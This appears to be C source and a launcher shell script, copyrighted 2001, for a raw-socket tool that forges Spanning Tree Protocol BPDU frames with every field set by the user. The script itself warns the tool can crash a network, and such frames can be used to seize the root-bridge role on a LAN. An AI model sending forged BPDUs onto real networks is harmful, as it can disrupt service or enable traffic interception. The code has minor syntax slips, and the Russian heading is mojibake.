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u_char llc_src; /* 0x42 */
u_char unknown; /* 03 why? I don‘t know :( */
u_char proto_id[2]; /* Protocol Identifier */
u_char proto_v_id; /* Protocol Version Identifier */
u_char bpdu_type; /* BPDU Type */
u_char flags; /* Flags */
u_char rootid[8]; /* Root Identifier */
u_char rootpc[4]; /* Root Path Cost */
u_char brid[8]; /* Bridge Identifier */
u_char portid[2]; /* Port Identifier */
u_char mage[2]; /* Message Age */
u_char maxage[2]; /* Max Age */
u_char hellotime[2] /* Hello Time */
u_char fdelay[2]; /* Forward Delay */
u_char padding[8]; /* padding packet to 60 bytes */

};

void fireexit(char *); /* print error message and exit with code 1*/
void get_hex_value(char*,char*,int); /* convert string to hex */

/**** MAIN PART *****/
int main(int argc,char** argv){

FILE *f;
struct bpdu_packet pkt1;
struct sockaddr saddr;
struct ifreq ifr;
int sd,i;
char eth_dev[30];
unsigned char verbose=0;
unsigned int complete=0;
/*
array of bites:
14 device 7 rootid 0 fdelay
13 dmac 6 rootpc
12 smac 5 brid
11 proto_id 4 portid
10 proto_v_id 3 mage
9 bpdutype 2 maxage
8 flags 1 hellotime
*/
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strncpy(eth_dev,DEFAULT_DEVICE,29);

for(i=1; i<argc; i++){
if (!strncasecmp(argv[i],"-v",2)) verbose=1;
if (!strncasecmp(argv[i],"-dev",4)){

if (verbose) printf("Device: ");
strncpy(eth_dev,argv[++i],29);
if (verbose) printf("Ok\n");
complete|=0x4000;
};

if (!strncasecmp(argv[i],"-dmac",5)){
if (verbose) printf("Destination MAC: ");
get_hex_value(pkt1.targ_hw_addr,argv[++i],6);
if (verbose) printf("Ok\n");
complete|=0x2000;
};

if (!strncasecmp(argv[i],"-smac",5)){
if (verbose) printf("Source MAC: ");
get_hex_value(pkt1.src_hw_addr,argv[++i],6);
if (verbose) printf("Ok\n");
complete|=0x1000;
};

if (!strncasecmp(argv[i],"-protoid",8)){
if (verbose) printf("Protocol Identifier: ");
get_hex_value(pkt1.proto_id,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0800;
};

if (!strncasecmp(argv[i],"-protovid",9)){
if (verbose) printf("Protocol Version Identifier: ");
get_hex_value(&pkt1.proto_v_id,argv[++i],1);
if (verbose) printf("Ok\n");
complete|=0x0400;
};

if (!strncasecmp(argv[i],"-bpdu",5)){
if (verbose) printf("BPDU Type: ");
get_hex_value(&pkt1.bpdu_type,argv[++i],1);
if (verbose) printf("Ok\n");
complete|=0x0200;
};

if (!strncasecmp(argv[i],"-flags",6)){
if (verbose) printf("Flags: ");
get_hex_value(&pkt1.flags,argv[++i],1);
if (verbose) printf("Ok\n");
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complete|=0x0100;
};

if (!strncasecmp(argv[i],"-rootid",7)){
if (verbose) printf("Root Identifier: ");
get_hex_value(pkt1.rootid,argv[++i],8);
if (verbose) printf("Ok\n");
complete|=0x0080;
};

if (!strncasecmp(argv[i],"-rootpc",7)){
if (verbose) printf("Root Path Cost: ");
get_hex_value(pkt1.rootpc,argv[++i],4);
if (verbose) printf("Ok\n");
complete|=0x0040;
};

if (!strncasecmp(argv[i],"-brid",5)){
if (verbose) printf("Bridge Identifier: ");
get_hex_value(pkt1.brid,argv[++i],8);
if (verbose) printf("Ok\n");
complete|=0x0020;
};

if (!strncasecmp(argv[i],"-portid",7)){
if (verbose) printf("Port Identifier: ");
get_hex_value(pkt1.portid,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0010;
};

if (!strncasecmp(argv[i],"-mage",5)){
if (verbose) printf("Message Age: ");
get_hex_value(pkt1.mage,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0008;
};

if (!strncasecmp(argv[i],"-maxage",7)){
if (verbose) printf("Max Age: ");
get_hex_value(pkt1.maxage,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0004;
};

if (!strncasecmp(argv[i],"-htime",6)){
if (verbose) printf("Hello Time: ");
get_hex_value(pkt1.hellotime,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0002;
};
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if (!strncasecmp(argv[i],"-fdelay",7)){
if (verbose) printf("Forward delay: ");
get_hex_value(pkt1.fdelay,argv[++i],2);
if (verbose) printf("Ok\n");
complete|=0x0001;
};

};

/* Check, if all needed parameters set */
if ((complete & 0x0FFF) < 0x0FFF) fireexit(usage);

/* Set constant values */
pkt1.frame_type[0]=0x00;
pkt1.frame_type[1]=0x26;
pkt1.llc_dest=0x42;
pkt1.llc_src=0x42;
pkt1.unknown=03;
bzero(pkt1.padding,8);

if (verbose) {
f=fopen("packet.dmp","a");
fwrite(&pkt1,1,sizeof(pkt1),f);
fclose(f);
exit(0);
};

/* Open raw socket */
if ((sd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0){

perror("Can’t get raw socket: ");
exit(1);
}

/* Get our hardware address, if not given */
if (!(complete & (12<<1))){

strcpy(ifr.ifr_name, eth_dev);
if (ioctl(sd, SIOCGIFHWADDR, &ifr) < 0){

perror("Can’t get hardware address: ");
close(sd);
exit(1);

};
memcpy(pkt1.src_hw_addr,ifr.ifr_hwaddr.sa_data,6);
};

/* Set device to use */
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strcpy(saddr.sa_data,eth_dev);

/* Send prepared packet */
if(sendto(sd,&pkt1,sizeof(pkt1),0,&saddr,sizeof(saddr)) < 0)

perror("Send packet");

/* Close socket */
close(sd);

exit(0);
}

/*************** END MAIN PART ********************/

void fireexit(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_hex_value(char* buf,char* str,int len){

int i;
char c,val;

for(i=0;i<len;i++){
if( !(c = tolower(*str++))) fireexit("Invalid hex value");
if(isdigit(c)) val = c-’0’;
else if(c >= ’a’ && c <= ’f’) val = c-’a’+10;
else fireexit("Invalid hex value");

*buf = val << 4;
if( !(c = tolower(*str++))) fireexit("Invalid hex value");
if(isdigit(c)) val = c-’0’;
else if(c >= ’a’ && c <= ’f’) val = c-’a’+10;
else fireexit("Invalid hex value");

*buf++ |= val;

if(*str == ’:’)str++;
}

}
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B Ñöåíàðèé äëÿ çàïóñêà ïðîãðàììû ôîðìèðî-
âàíèÿ ST ïàêåòîâ

#!/bin/sh
#
# Copyright 2001 Vladislav V. Myasnyankin, Yekaterinburg Russia
# hugevlad@yahoo.com http://cybervlad.port5.com
# All rights reserved.
#
# WARNING! Be very careful, because you can occasionaly crash
# your network.
#
# SEE DISCLAMER IN MAIN PROGRAM
#
# note:
# all numbers can be like 00010203040506 or like 00:01:02:03:04:05:06
#

device=eth0 # ethernet device name (default - eth0)
dmac=01:80:C2:00:00:00 # destination MAC (default - 01:80:C2:00:00:00)
smac=00:01:38:00:b4:c7 # source MAC (default - MAC on given

# or default device)
proto_id=0000 # Protocol Identifier (hex, 2 bytes)
proto_v_id=00 # Protocol Version Identifier (hex, 1 byte)
bpdutype=00 # BPDU type (hex, 1 byte)
flags=00 # flags value (hex, 1 byte)
rootid=800000013800b4c7 # Root Identifier (hex, 8 bytes)
rootpc=00000000 # Root Path Cost (hex, 4 bytes)
brid=800000013800b4c7 # Bridge Identifier (hex, 8 bytes)
portid=8002 # Port Identifier (hex, 2 bytes)
mage=0000 # Message Age (hex, 2 bytes)
maxage=1400 # Max Age (hex, 2 bytes)
hellotime=0200 # Hello Time (hex, 2 bytes)
fdelay=0f00 # Forward Delay (hex, 2 bytes)

./stp -v -dev $device -dmac $dmac -smac $smac -protoid $proto_id\
-protovid $proto_v_id -bpdu $bpdutype -flags $flags\
-rootid $rootid -rootpc $rootpc -brid $brid -portid $portid\
-mage $mage -maxage $maxage -htime $hellotime -fdelay $fdelay
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